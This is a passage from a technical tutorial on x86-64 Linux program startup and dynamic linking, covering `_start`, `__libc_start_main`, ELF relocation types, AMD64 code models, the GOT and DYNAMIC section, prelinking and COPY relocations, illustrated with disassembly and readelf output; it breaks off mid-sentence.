`_start` is always placed at the beginning of `.text` section, and the default `ld` script specifies "Entry point address" \(in ELF header, use `readelf -h ld.so|grep Entry` command to see\) to be the address of `_start` \(use `ld -verbose | grep ENTRY` command to see\), so `_start` is guaranteed to be run before anything else. \(This is changeable, however, at compile time one can specify a different initial address by `-e` option\) 
`_start` does only one thing: It sets up the arguments needed by
`__libc_start_main` and then call it. `__libc_start_main`'s source code is
`csu/libc-start.c` and its function prototype is:

[code]

    __libc_start_main (int (*main) (int, char **, char **),
                       int argc,
                       char *argv,
                       int  (*init) (int, char **, char **),
                       void (*fini) (void),
                       void (*rtld_fini) (void),
                       void *stack_end)
                      )
    
[/code]

`__libc_start_main` does quite a lot of work in addition to kicking off
`__libc_csu_init`:

  1. Set up `argv` and `envp`
  2. Initialize the thread local storage by calling `__pthread_initialize_minimal` \(which only calls `__libc_setup_tls`\).
`__libc_setup_tls` will initialize Thread Control Block and Dynamic Thread
Vector.

  3. Set up the thread stack guard 
  4. Register the destructor \(i.e. the `rtld_fini` argument passed to `__libc_start_main`\) of the dynamic linker \(by calling `__cxa_atexit`\) if there is any 
  5. Initialize Glibc inself by calling `__libc_init_first`
  6. Register `__libc_csu_fini` \(i.e. the `fini` argument passed to `__libc_start_main`\) using `__cxa_atexit`
  7. Call `__libc_csu_init` \(i.e. the `init` argument passed to `__libc_start_main`\) 
    1. Call function pointers in `.preinit_array` section 
    2. Execute the code in `.init` section, which is usually `_init` function. What `_init` function does is compiler-specific. For GCC, `_init` executes user functions marked as `__attribute__ ((constructor))` \(in `__do_global_dtors_aux`\) 
    3. Call function pointers in `.init_array` section 
  8. Set up data structures needed for thread unwinding/cancellation 
  9. Call `main` of user's program. 
  10. Call `exit`

So if the last line of user program's `main` is `return XX`, then the `XX`
will be passed to `exit` at Step \#11 above. If the last line is not `return
XX` or is simply `return`, then the value passed to `exit` would be undefined.

Of course, if the user program calls `exit` or `abort`, then `exit` will gets
called.

# Here is the call graph, which is worth a thousand words

and see here on how it is generated.

If one tries to build a program which does not contain `main`, then one should
see the following error:

[code]

    /usr/lib/crt1.o: In function `_start': (.text+0x20): undefined reference to `main'
    collect2: ld returned 1 exit status
    
[/code]

As mentioned earlier, `crt1.o` \(part of Glibc\) contains the function
`_start`, which will call `__libc_start_main` and pass `main` \(a function
pointer\) as one of the arguments. If one uses

[code]

    nm -u /usr/lib/crt1.o
    
[/code]

then it will show `main` is a undefined symbol in `crt1.o`. Now let's
disassemble `crt1.o`:

[code]

    $ objdump -M intel -dj .text /usr/lib/crt1.o
    
    crt1.o:     file format elf64-x86-64
    
    Disassembly of section .text:
    
    0000000000000000 <_start>:
       0:   31 ed                   xor    ebp,ebp
       2:   49 89 d1                mov    r9,rdx
       5:   5e                      pop    rsi
       6:   48 89 e2                mov    rdx,rsp
       9:   48 83 e4 f0             and    rsp,0xfffffffffffffff0
       d:   50                      push   rax
       e:   54                      push   rsp
       f:   49 c7 c0 00 00 00 00    mov    r8,0x0
      16:   48 c7 c1 00 00 00 00    mov    rcx,0x0
      1d:   48 c7 c7 00 00 00 00    mov    rdi,0x0
      24:   e8 00 00 00 00          call   29 <_start+0x29>
      29:   f4                      hlt
      ...
    
[/code]

Above shows .text+0x20 refers to the 4 bytes of an `mov` instruction. This
means during the linking, the address of `main` should be resolved and then
inserted at the right memory location: .text+0x20. Now let's cross reference
the relocation table:

[code]

    $ readelf -p /usr/lib/crt1.o
    
    Relocation section '.rela.text' at offset 0x410 contains 4 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
    000000000012  00090000000b R_X86_64_32S      0000000000000000 __libc_csu_fini + 0
    000000000019  000b0000000b R_X86_64_32S      0000000000000000 __libc_csu_init + 0
    000000000020  000c0000000b R_X86_64_32S      0000000000000000 main + 0
    000000000025  000f00000002 R_X86_64_PC32     0000000000000000 __libc_start_main - 4
    
[/code]

Above shows where 0x20 comes from.

## How to find the address of `main` of an executable binary ?

When an ELF executable binary is stripped off symbolic information, it is not
clear where the `main` is located.

From above analysis, it's possible to find out the address of `main` \(which is NOT the "Entry point address" seen from the output of `readelf -h a.out | grep Entry` command. "Entry point address" is the address of `_start`\) 
Since the address of `main` is the first argument to the call to
`__libc_start_main`, we can extract the value of the first argument as
follows.

On 64-bit x86, the calling convention requires that the first argument goes to
`RDI` register, so the address can be extracted by

[code]

    objdump -j .text -d a.out | grep -B5 'call.*__libc_start_main' | awk '/mov.*%rdi/ { print $NF }'
    
[/code]

On 32-bit x86, the C calling convention \("cdecl"\) is that the first argument
is the last item to be pushed onto the stack before the call, so the address
can be extracted by

[code]

    objdump -j .text -d a.out | grep -B2 'call.*__libc_start_main' | awk '/push.*0x/ { print $NF }'
    
[/code]

## PIC, TLS, and AMD64 code models

Relocation is the process of connecting symbolic references with symbolic
definitions. The runtime relocation is done by `ld.so`, as in
`elf_machine_rela` function in Glibc's source file `sysdeps/x86_64/dl-
machine.h`. The link-time relocation is done by the link-editor `ld`, which
uses the relocation table in the object file \(`.rela.text` section\). Each
symbolic reference has an entry in the relocation table, and each entry
contains three fields: offset, info \(relocation type, symbol table index\),
and addend. The relocation types are:

Relocation type| Meaning| Used when  
---|---|---  
`R_X86_64_16`| Direct 16 bit zero extended|  
`R_X86_64_32`| Direct 32 bit zero extended|  
`R_X86_64_32S`| Direct 32 bit sign extended|  
`R_X86_64_64`| Direct 64 bit| Large code model  
`R_X86_64_8`| Direct 8 bit sign extended|  
`R_X86_64_COPY`| Copy symbol at runtime|  
`R_X86_64_DTPMOD64`| ID of module containing symbol| TLS  
`R_X86_64_DTPOFF32`| Offset in TLS block| TLS  
`R_X86_64_DTPOFF64`| Offset in module's TLS block| TLS  
`R_X86_64_GLOB_DAT`| `.got` section, which contains addresses to the actual
functions in DLL|  
`R_X86_64_GOT32`| 32 bit GOT entry|  
`R_X86_64_GOT64`| 64-bit GOT entry offset| PIC & Large code model  
`R_X86_64_GOTOFF64`| 64-bit GOT offset| PIC & Large code model  
`R_X86_64_GOTPC32`| 32-bit PC relative offset to GOT|  
`R_X86_64_GOTPC32_TLSDESC`| 32-bit PC relative to TLS descriptor in GOT| TLS  
`R_X86_64_GOTPC64`| 64-bit PC relative offset to GOT| PIC & Large code model  
`R_X86_64_GOTPCREL`| 32 bit signed PC relative offset to GOT| PIC  
`R_X86_64_GOTPCREL64`| 64-bit PC relative offset to GOT entry| PIC & Large
code model  
`R_X86_64_GOTPLT64`| Like GOT64, indicates that PLT entry needed| PIC & Large
code model  
`R_X86_64_GOTTPOFF`| 32 bit signed PC relative offset to GOT entry for IE
symbol| TLS  
`R_X86_64_JUMP_SLOT`| `.got.plt` section, which contains addresses to the
actual functions in DLL| DLL  
`R_X86_64_PC16`| 16 bit sign extended PC relative|  
`R_X86_64_PC32`| PC relative 32 bit signed|  
`R_X86_64_PC64`| 64-bit PC relative| Large code model  
`R_X86_64_PC8`| 8 bit sign extended PC relative|  
`R_X86_64_PLT32`| 32 bit PLT address|  
`R_X86_64_PLTOFF64`| 64-bit GOT relative offset to PLT entry| PIC & Large code
model  
`R_X86_64_RELATIVE`| Adjust by program base|  
`R_X86_64_SIZE32`| |   
`R_X86_64_SIZE64`| |   
`R_X86_64_TLSDESC`| 2 by 64-bit TLS descriptor| TLS  
`R_X86_64_TLSDESC_CALL`| Relaxable call through TLS descriptor| TLS  
`R_X86_64_TLSGD`| 32 bit signed PC relative offset to two GOT entries for GD
symbol| TLS & PIC  
`R_X86_64_TLSLD`| 32 bit signed PC relative offset to two GOT entries for LD
symbol| TLS  
`R_X86_64_TPOFF32`| Offset in initial TLS block| TLS  
`R_X86_64_TPOFF64`| Offset in initial TLS block| TLS & Large code model  
According to Chapter 3.5 of AMD64 System V Application Binary Interface, there
are four code models and they differ in addressing modes \(absolute versus
relative\):

  * **Small** : All compile- and link-time addresses and symbols are assumed to fit in 32-bit immediate operands. This model restricts code and global data to the low 2 GB of the address space \(to be exact, between 0x0 and 0x7eff ffff, which is 2031 MB\) 
The compiler can encode symbolic references

    * In sign-extended immediate operands for offsets in the range of 0x8000 0000 \(-231\) to 0x100 0000 \(224\) 
    * In zero-extended immediate operands for offsets in the range of 0x0 to 0x7f00 0000 \(231 \- 224\) 
    * In RIP relative addressing mode for offsets in the range 0xff00 0000 \(-224 = -16 MB\) to 0x100 0000 \(224 = 16 MB\) 
This mode is the default mode for most compilers.

  * **Large** : No restrictions are placed on the size or placement of code and data. The max virtual memory space is 48 bits \(256 TB\). 
  * **Medium** : Like the Small code model, except the data sections are split into two parts, e.g. instead of having just `.data`, `.rodata`, `.bss` sections, there would also be `.ldata`, `.lrodata`, `.lbss` sections. The smaller `.data`, etc are still the same as in the Small code model, and the larger `.ldata`, etc are as in the Large code model. 
  * **Kernel** : Like the Small code model, but the 2 GB address space spans from 0xffff ffff 8000 0000 \(264-231\) to 0xffff ffff ff00 0000 \(264-224\) Because of this, the offsets which can be encoded using sign-extended and zero-extended immediate operands change. 

Now consider the following C code

[code]

    extern int esrc[100];
           int gsrc[100];
    static int ssrc[100];
    
    void foo() {
      int k;
      k = esrc[5];
      k = gsrc[5];
      k = ssrc[5];
    }
    
[/code]

  * **Small** code model, no PIC \(i.e. compiled with just `gcc -c`\): 
[code]    k = esrc[5];     mov EAX, DWORD PTR[RIP+0x0]

                     mov DWORD PTR[RBP-0x4], EAX
    k = gsrc[5];     mov EAX, DWORD PTR[RIP+0x0]
                     mov DWORD PTR[RBP-0x4], EAX
    k = ssrc[5];     mov EAX, DWORD PTR[RIP+0x0]
                     mov DWORD PTR[RBP-0x4], EAX
    
[/code]

and the relocation table is \(use `readelf -r foo.o` command\)

[code]    type           Sym. Name + Addend

    R_X86_64_PC32  esrc + 10
    R_X86_64_PC32  gsrc + 10
    R_X86_64_PC32  .bss + 10
    
[/code]

All of the 0x0's in the generated assembly will be filled at link-time with
their relative offsets in respective sections, as indicated by the relocation
table.

  * **Large** code model, no PIC \(i.e. compiled with `gcc -c -mcmodel=large`\) 
[code]    k = esrc[5];     mov RAX, 0x0

                     mov EAX, DWORD PTR[RAX+0x10]
                     mov DWORD PTR[RBP-0x4], EAX
    k = gsrc[5];     mov RAX, 0x0
                     mov EAX, DWORD PTR[RAX+0x10]
                     mov DWORD PTR[RBP-0x4], EAX
    k = ssrc[5];     mov RAX, 0x0
                     mov EAX, DWORD PTR[RAX+0x10]
                     mov DWORD PTR[RBP-0x4], EAX
    
[/code]

and the relocation table is:

[code]    type         Sym. Name + Addend

    R_X86_64_64  esrc + 0
    R_X86_64_64  gsrc + 0
    R_X86_64_64  .bss + 0
    
[/code]

All of the 0x0's in the generated assembly will be filled at link-time with
their \(64-bit\) absolute addresses.

  * **Small** code model, PIC \(i.e. compiled with `gcc -c -fPIC`. Note that adding `-shared` or not will not affect the generated code\) 
[code]    k = esrc[5];     mov RAX, QWORD PTR[RIP+0x0]

                     mov EAX, DWORD PTR[RAX+0x10]
                     mov DWORD PTR[RBP-0x4], EAX
    k = gsrc[5];     mov RAX, QWORD PTR[RIP+0x0]
                     mov EAX, DWORD PTR[RAX+0x10]
                     mov DWORD PTR[RBP-0x4], EAX
    k = ssrc[5];     mov EAX, DWORD PTR[RIP+0x0]
                     mov DWORD PTR[RBP-0x4], EAX
    
[/code]

and the relocation table is:

[code]    type              Sym. Name + Addend

    R_X86_64_GOTPCREL esrc - 4
    R_X86_64_GOTPCREL gsrc - 4
    R_X86_64_PC32     .bss + 10
    
[/code]

The first two 0x0's in the generated assembly will be filled with the relative
offset of `_GLOBAL_OFFSET_TABLE_` \(i.e. the `.got.plt` section\)

  * **Large** code model, PIC \(i.e. compiled with `gcc -c -fPIC -mcmodel=large`\) 
[code]                     lea RBX, [RIP-0x7]

                     mov R11, 0x0
                     add RBX, R11
    k = esrc[5];     mov RAX, 0x0
                     mov RAX, QWORD PTR[RBX+RAX*1]
                     mov EAX, DWORD PTR[RAX+0x10]
                     mov DWORD PTR[RBP-0x4], EAX
    k = gsrc[5];     mov RAX, 0x0
                     mov RAX, QWORD PTR[RBX+RAX*1]
                     mov EAX, DWORD PTR[RAX+0x10]
                     mov DWORD PTR[RBP-0x4], EAX
    k = ssrc[5];     mov RAX, 0x0
                     mov RAX, QWORD PTR[RBX+RAX*1]
                     mov EAX, DWORD PTR[RAX+0x10]
                     mov DWORD PTR[RBP-0x4], EAX
    
[/code]

The first 0x0 is in the generated assembly will be filled with the absolute
address of `_GLOBAL_OFFSET_TABLE_`

## `_GLOBAL_OFFSET_TABLE_`, `.got.plt` section, and `DYNAMIC` segment

Earlier we see that the `_GLOBAL_OFFSET_TABLE_` is located in `.got.plt`
section:

[code]

    (gdb) b *0x4003d0
    (gdb) run
    (gdb) x/6a 0x600890
    0x600890: 0x6006e8 <_DYNAMIC>     0x32696159a8
    0x6008a0: 0x326950aa20 <_dl_runtime_resolve>     0x4003d6 <printf@plt+6>
    0x6008b0: 0x326971c3f0 <__libc_start_main>       0x0
    
[/code]

According to Chapter 5.2 of AMD64 System V Application Binary Interface, the
first 3 entries of this table are reserved for special purposes. The first
entry is set up during compilation by the link editor `ld`. The second and
third entries are set up during runtime by the runtime linker `ld.so` \(see
function `_dl_relocate_object` in Glibc source file `elf/dl-reloc.c` and in
particular, notice the `ELF_DYNAMIC_RELOCATE` macro, which calls function
`elf_machine_runtime_setup` in `sysdeps/x86_64/dl-machine.h`\)

The first entry `_DYNAMIC` has value 6006e8, and this is exactly the starting
address of `.dynamic` section \(or `DYNAMIC` segment, in ELF's "execution
view".\) The runtime linker `ld.so` uses this section to find the all
necessary information needed for runtime relocation and dynamic linking.

To see `DYNAMIC` segment's content, use `readelf -d a.out` command, or
`objdump -x a.out`, or just use `x/50a 0x6006e8` in gdb. The `readelf -d
a.out` command will show something like this:

[code]

    Dynamic section at offset 0x6e8 contains 21 entries:
      Tag        Type                 Name/Value
     0x0000000000000001 (NEEDED)     Shared library: [libc.so.6]  <-- dependent dynamic library name
     0x000000000000000c (INIT)       0x4003a8     <-- address of .init section
     0x000000000000000d (FINI)       0x400618     <-- address of .fini section
     0x0000000000000004 (HASH)       0x400240     <-- address of .hash section
     0x000000006ffffef5 (GNU_HASH)   0x400268     <-- address of .gnu.hash section
     0x0000000000000005 (STRTAB)     0x4002e8     <-- address of .strtab section
     0x0000000000000006 (SYMTAB)     0x400288     <-- address of .symtab section
     0x000000000000000a (STRSZ)      63 (bytes)   <-- size of .strtab section
     0x000000000000000b (SYMENT)     24 (bytes)   <-- size of an entry in .symtab section
     0x0000000000000015 (DEBUG)      0x0          <-- see below
     0x0000000000000003 (PLTGOT)     0x600860     <-- address of .got.plt section
     0x0000000000000002 (PLTRELSZ)   48 (bytes)   <-- total size of .rela.plt section
     0x0000000000000014 (PLTREL)     RELA         <-- RELA or REL ?
     0x0000000000000017 (JMPREL)     0x400368     <-- address of .rela.plt section
     0x0000000000000007 (RELA)       0x400350     <-- address of .rela.dyn section
     0x0000000000000008 (RELASZ)     24 (bytes)   <-- total size of .rela.dyn section
     0x0000000000000009 (RELAENT)    24 (bytes)   <-- size of an entry in .rela.dyn section
     0x000000006ffffffe (VERNEED)    0x400330     <-- address of .gnu.version_r section
     0x000000006fffffff (VERNEEDNUM) 1            <-- number of needed versions
     0x000000006ffffff0 (VERSYM)     0x400328     <-- address of .gnu.version section
     0x0000000000000000 (NULL)       0x0          <-- marks the end of .dynamic section
    
[/code]

Each entry in `DYNAMIC` segment is a struct of only two members: "tag" and
"value". The `NEEDED`, `INIT` ... above are "tags" \(see
`/usr/include/elf.h`\)

Other tags of interest are:

[code]

    BIND_NOW           The same as BIND_NOW in FLAGS. This has been superseded by
                       BIND_NOW in FLAGS
    
    CHECKSUM           The checksum value used by prelink.
    
    DEBUG              At runtime ld.so will fill its value with the runtime
                       address of r_debug structure (see elf/rtld.c)
                       and this info is used by GDB (see elf_locate_base function
                       in GDB's source tree).
    
    FINI               Address of .fini section
    FINI_ARRAY         Address of .fini_array section
    FINI_ARRAYSZ       Size of .fini_array section
    
    FLAGS              Additional flags, such as BIND_NOW, STATIC_TLS, TEXTREL..
    
    FLAGS_1            Additional flags used by Solaris, such as NOW (the same as BIND_NOW), INTERPOSE..
    
    GNU_PRELINKED      The timestamp string when the binary object is last prelinked.
    
    INIT               Address of .init section
    INIT_ARRAY         Address of .init_array section
    INIT_ARRAYSZ       Size of .init_array section
    
    INTERP             Address of .interp section
    
    PREINIT_ARRAY      Address of .preinit_array section
    PREINIT_ARRAYSZ    Size of .preinit_array section
    
    RELACOUNT          Number of R_X86_64_RELATIVE entries in RELA segment (.rela.dyn
                       section)
    
    RPATH              Dynamic library search path, which has higher precendence than
                       LD_LIBRARY_PATH. RPATH is ignored if RUNPATH is present.
    
                       Use of RPATH is deprecated.
    
                       When one uses "gcc -Wl,-rpath=... " to build binaries, the info
                       is stored here.
    
    RUNPATH            Dynamic library search path, which has lower precendence than
                       LD_LIBRARY_PATH.
    
                       When one uses "gcc -Wl,-rpath=...,--enable-new-dtags"
                       to build binaries, the info is stored here.
                       (See here for details.)
    
                       One can use chrpath
                       tool to manipulate RPATH and RUNPATH settings.
    
    
    SONAME             Shared object (i.e. dynamic library) name. When one uses
                       "gcc -Wl,-soname=... " to build binaries, the info is
                       stored here.
    
    TEXTREL            Relocation might modify .text section.
    
    VERDEF             Address of .gnu.version_d section
    VERDEFNUM          Number of version definitions.
    
[/code]

## Runtime Relocation

After exploring `DYNAMIC` segment, we can explain how `ld.so` performs runtime
relocation.

First, before `ld.so` loads all dependent libraries of a dynamic executable,
it needs to run its own relocation\! Even if `ld.so` is a statically-linked
binary, it also has a `DYNAMIC` segment and thus `PLTREL` \(`.rela.dyn`
section\) and `JMPREL` \(`.rela.plt` section\) tags:

[code]

    $ readelf -a `readelf -p .interp /bin/sh | awk '/ld/ {print $3}'`
    
     ....
    
    Dynamic section at offset 0x14e18 contains 22 entries:
      Tag        Type                         Name/Value
     0x000000000000000e (SONAME)             Library soname: [ld-linux-x86-64.so.2]
     0x0000000000000004 (HASH)               0x3269500190
     0x0000000000000005 (STRTAB)             0x3269500578
     0x0000000000000006 (SYMTAB)             0x3269500260
     0x000000000000000a (STRSZ)              388 (bytes)
     0x000000000000000b (SYMENT)             24 (bytes)
     0x0000000000000003 (PLTGOT)             0x3269614f98
     0x0000000000000002 (PLTRELSZ)           120 (bytes)
     0x0000000000000014 (PLTREL)             RELA
     0x0000000000000017 (JMPREL)             0x32695009a0
     0x0000000000000007 (RELA)               0x32695007c0
     0x0000000000000008 (RELASZ)             480 (bytes)
     0x0000000000000009 (RELAENT)            24 (bytes)
     0x000000006ffffffc (VERDEF)             0x3269500740
     0x000000006ffffffd (VERDEFNUM)          4
     0x0000000000000018 (BIND_NOW)
     0x000000006ffffffb (FLAGS_1)            Flags: NOW
     0x000000006ffffff0 (VERSYM)             0x32695006fc
     0x000000006ffffff9 (RELACOUNT)          19
     0x000000006ffffdf8 (CHECKSUM)           0x4c4e099e
     0x000000006ffffdf5 (GNU_PRELINKED)      2010-08-26T08:13:28
     0x0000000000000000 (NULL)               0x0
    
    Relocation section '.rela.dyn' at offset 0x7c0 contains 20 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
    003269614cf0  000000000008 R_X86_64_RELATIVE                    000000326950dd80
      ....
    003269615820  000000000008 R_X86_64_RELATIVE                    0000003269501140
    003269614fe0  001e00000006 R_X86_64_GLOB_DAT 0000003269615980 _r_debug + 0
    
    Relocation section '.rela.plt' at offset 0x9a0 contains 5 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
    003269614fb0  000b00000007 R_X86_64_JUMP_SLO 000000326950f1b0 __libc_memalign + 0
    003269614fb8  000c00000007 R_X86_64_JUMP_SLO 000000326950f2b0 malloc + 0
    003269614fc0  001200000007 R_X86_64_JUMP_SLO 000000326950f2c0 calloc + 0
    003269614fc8  001800000007 R_X86_64_JUMP_SLO 000000326950f340 realloc + 0
    003269614fd0  002000000007 R_X86_64_JUMP_SLO 000000326950f300 free + 0
    
[/code]

Note that the `ld.so` is prelinked. On Fedora and Red Hat Enterprise Linux
\(RHEL\) systems, prelink is run every two weeks. To see if your Linux has
similar setup, check `/etc/sysconfig/prelink` and `/etc/prelink.conf`

**What does this prelink do**? It changes the base address of a dynamic
library to the actual address in the user program's address space when it is
loaded into memory. Of course, `ld.so` recognizes `GNU_PRELINKED` tag and will
load a dynamic library to its this base address \(recall the first argument of
`mmap` is the preferred address; of course, this is subject to the operating
system.\)

Normally, a dynamic library is built as position independent code, i.e. the
`-fPIC` compiler command-line option, and thus the base address is 0\. For
example, a normal libc.so has ELF program header as follows \(`readelf -l`
command\):

[code]

    Program Headers:
      Type  Offset             VirtAddr           PhysAddr
            FileSiz            MemSiz              Flags  Align
      LOAD  0x0000000000000000 0x0000000000000000 0x0000000000000000
            0x0000000000179058 0x0000000000179058  R E    200000
      LOAD  0x0000000000179730 0x0000000000379730 0x0000000000379730
            0x0000000000004668 0x00000000000090f8  RW     200000
       ....
    
[/code]

And when calling `mmap` with address 0 \(i.e. NULL\) the operating system can
choose any address it feels appropriate.

A prelinked one, on the other hand, has its ELF program header as follows:

[code]

    Program Headers:
      Type Offset             VirtAddr           PhysAddr
           FileSiz            MemSiz              Flags  Align
      LOAD 0x0000000000000000 0x0000003433e00000 0x0000003433e00000
           0x000000000001bb80 0x000000000001bb80  R E    200000
      LOAD 0x000000000001bb90 0x000000343401bb90 0x000000343401bb90
           0x0000000000000f58 0x00000000000010f8  RW     200000
    
[/code]

**What is the advantage of prelinking**? `ld.so` will not process
`R_X86_64_RELATIVE` relocation types since they are already in the "right"
place in user program's address space. The extra benefit of this is the memory
regions which `ld.so` would have written to \(if `R_X86_64_RELATIVE` needs
processing\) will not incur any Copy-On-Writes and thus can be made Read-Only.

According to this post, for GUI programs, which tend to link against dozens of
dynamic libraries and use lengthy C++ demangled names, the speed up can be an
order of magnitude.

**How to disable prelinking at runtime**? Run the user program with
`LD_USE_LOAD_BIAS` environmental variable set to 0.

**How does` ld.so` process its own relocation**?

The relocation is done by `_dl_relocate_object` function in Glibc's `elf/dl-
reloc.c`, which will call `elf_machine_rela` function in `sysdeps/x86_64/dl-
machine.h` to do the majority of work.

First to be processed is the `.rela.dyn` relocation table, which contains a
bunch of `R_X86_64_RELATIVE` types and one `R_X86_64_GLOB_DAT` type \(the
variable `_r_debug`\)

If prelink is used, i.e. `ld.so` is indeed loaded to the desired address, then
`R_X86_64_RELATIVE` relocation types will be ignored. If not, then the address
calculation for `R_X86_64_RELATIVE` types is

[code]

    Base Address + Value Stored at [Base Address + Offset]
    
[/code]

For example, in `ld.so`'s case, its base address is 2a95556000 \(can be
obtained from `pmap` command; inside `ld.so`, it calls
`elf_machine_load_address` function to get this value\)

[code]

    0000400000    4K r-x--  /tmp/a.out
    0000500000    4K rw---  /tmp/a.out
    2a95556000   92K r-x--  /lib64/ld.so
    2a9556d000    8K rw---  [ anon ]
    2a95599000    4K rw---  [ anon ]
    2a9566c000    4K r----  /lib64/ld.so
    2a9566d000    4K rw---  /lib64/ld.so
    3269700000 1216K r-x--  /lib64/libc-2.3.4.so
    ...
    
[/code]

And `ld.so`'s `.rela.dyn` relocation table is \(no prelinked\! If `ld.so` is
prelinked, the offset will be in a much higher address\)

[code]

    Relocation section '.rela.dyn' at offset 0x7c0 contains 20 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
    000000116d50  000000000008 R_X86_64_RELATIVE                    000000000000e250
    ...
    
[/code]

so the relocation for 000000116d50 is processed as

[code]

    0x2a95556000 + *(0x116d50+0x2a95556000)
    
[/code]

and this new value is stored at 0x2a9566cd50 \(=0x116d50+0x2a95556000\)

As `R_X86_64_RELATIVE` types do not require symbol lookups, they are handled
in a tight loop in `elf_machine_rela_relative` function in `sysdeps/x86_64/dl-
machine.h`

**Any relocation types other than` R_X86_64_RELATIVE` need to go through
symbol resolution first.**

So what about `R_X86_64_GLOB_DAT` relocation type in `ld.so` ? First,
`RESOLVE_MAP` \(a macro defined within `elf/dl-reloc.c`\) is called \(with
r\_type = `R_X86_64_GLOB_DAT`\) to find out which ELF binary \(could be the
user's program or its dependent dynamic libraries\) contains this symbol. Then
`R_X86_64_GLOB_DAT` relocation type is calculated as

[code]

    Base Address + Symbol Value + Addend
    
[/code]

where `Base Address` is the base address of ELF binary which contains the
symbol, and `Symbol Value` is the symbol value from the symbol table of ELF
binary which contains the symbol.

So for `ld.so`,

[code]

    Relocation section '.rela.dyn' at offset 0x7c0 contains 20 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
      ....
    000000116fe0  001e00000006 R_X86_64_GLOB_DAT 00000000001179c0 _r_debug + 0
    
[/code]

The relocation for 000000116fe0 is processed as

[code]

    0x2a95556000 + 0x1179c0 + 0
    
[/code]

because `ld.so` determines `_r_debug` can be found from itself. The calculated
value is stored at 0x2a9566cfe0 \(=0x116fe0+0x2a95556000\).

The next to be processed by `ld.so` is its own `.rela.plt` relocation table,
which contains a bunch of `R_X86_64_JUMP_SLOT` types. This reloction type is
handled exactly the same way as `R_X86_64_GLOB_DAT`.

After `ld.so` finishes its own relocation, it loads user program's dependent
libraries and process their relocations one by one. First, `ld.so` handles
`libc.so`'s relocation. `libc.so` has two relocation types we have not covered
so far: `R_X86_64_64` and `R_X86_64_TPOFF64`.

`R_X86_64_64` relocation type is processed by first looking up the symbol's
runtime **absolute** address, and then calculating

[code]

    Absolute Address + Addend
    
[/code]

And the `R_X86_64_TPOFF64` relocation type is calculated as

[code]

    Symbol Value + Addend - TLS Offset
    
[/code]

which usually results in a negative value.

## `R_X86_64_COPY` relocation type

`R_X86_64_COPY` relocation type is used when a dynamic binary refers to an
**initialized** global variable \(not a function\!\) defined in a dynamic link
library. Unlike functions, for variables, there is no lazy binding, and the
trampoline trick used in `.plt` section does not work. Instead, the global
variable will actually be allocated in dynamic binary's `.bss` section.

To see how `R_X86_64_COPY` relocation type works, consider the following two
code:

[code]

    foo.c
    
        int foo=4;
    
        void foo_access() {
          foo=5;
        }
    
    bar.c
    
        #include <stdio.h>
        extern int foo;
    
        int main() {
           printf("foo=%d\n",foo);
        }
    
[/code]

Now compile them as follows:

[code]

    $ gcc -shared -fPIC -Wl,-soname=libfoo.so foo.c -o /tmp/libfoo.so
    $ gcc bar.c -o bar -L/tmp -lfoo
    
[/code]

And run them as

[code]

    $ LD_PRELOAD=/tmp/libfoo.so ./bar
    
[/code]

Before explaining what happened during runtime, we need to examine the
binaries first.

The `foo_access` in `libfoo.so` is like this:

[code]

    69c <foo_access>:
     69c:  push   rbp
     69d:  mov    rbp,rsp
     6a0:  mov    rax,QWORD PTR [rip+0x100269]  # 100910 <_DYNAMIC+0x198>
     6a7:  mov    DWORD PTR [rax],0x5
     6ad:  leave
     6ae:  ret
    
[/code]

So for `libfoo.so`, the **address** of variable `foo` is in its `.got`
section, not `.data` section:

[code]

    $ readelf -a /tmp/libfoo.so
    
    Section Headers:
      [Nr] Name              Type             Address           Offset
           Size              EntSize          Flags  Link  Info  Align
    ...
      [18] .got              PROGBITS         0000000000100908  00000908
           0000000000000020  0000000000000008  WA       0     0     8
      [19] .got.plt          PROGBITS         0000000000100928  00000928
           0000000000000020  0000000000000008  WA       0     0     8
    ...
      [20] .data             PROGBITS         0000000000100948  00000948
           0000000000000014  0000000000000000  WA       0     0     8
    ...
    
    Relocation section '.rela.dyn' at offset 0x520 contains 6 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
    000000100948  000000000008 R_X86_64_RELATIVE                    0000000000100948
    000000100950  000000000008 R_X86_64_RELATIVE                    0000000000100768
    000000100908  000f00000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize + 0
    000000100910  001100000006 R_X86_64_GLOB_DAT 0000000000100958 foo + 0
    ....
    
[/code]

But what about the address 0x100958 ? This address is in `libfoo.so`'s `.data`
section\! Well, 0x100958 has the initial value of `foo` \(in our example, 4\)
At runtime, `ld.so` will copy this value to `bar`'s `.bss` section:

[code]

    $ objdump -sj .data libfoo.so
    
    libfoo.so:     file format elf64-x86-64
    
    Contents of section .data:
     100948 48091000 00000000 68071000 00000000  H.......h.......
     100958 04000000                             ....
    
[/code]

Next, disassemble the `main` function of `bar`:

[code]

    4005f8 <main>:
      4005f8:  push   rbp
      4005f9:  mov    rbp,rsp
      4005fc:  mov    esi,DWORD PTR [rip+0x1003de] # 5009e0 <__bss_start>
      400602:  mov    edi,0x40070c
      400607:  mov    eax,0x0
      40060c:  call   400528 <printf@plt>
      400611:  leave
      400612:  ret
    
[/code]

So the variable `foo` is indeed located in `bar`'s `.bss` section. Let's
double check with `nm`:

[code]

    $ nm -n bar | grep 5009e0
    
    00000000005009e0 A __bss_start
    00000000005009e0 A _edata
    00000000005009e0 B foo
    
[/code]

\(Symbols such as `__bss_start` and `_edata` are defined by the default `ld`
script; one can search them in the output of `ld -verbose` command.\)

The dynamic relocation table of `bar` is:

[code]

    Relocation section '.rela.dyn' at offset 0x490 contains 2 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
    000000500998  000c00000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
    0000005009e0  000700000005 R_X86_64_COPY     00000000005009e0 foo + 0
    
[/code]

**Now what happens during runtime is this** : After `ld.so` loads all
dependent dynamic libraries, it starts processing their relocations. When it
sees `foo` of `libfoo.so`, it calls `RESOLVE_MAP` with r\_type =
`R_X86_64_GLOB_DAT` to get the Base Address, which is 0, and Symbol Value,
which is 5009e0. Next it sees `foo` of `libfoo.so` has `R_X86_64_GLOB_DAT`
relocation type, so it calculates the new address as 5009e0 = 0 + 5009e0 + 0
\(addend\) and stores the result somewhere inside `.got` section.

After `ld.so` has processed relocations of all dynamic libraries, it starts
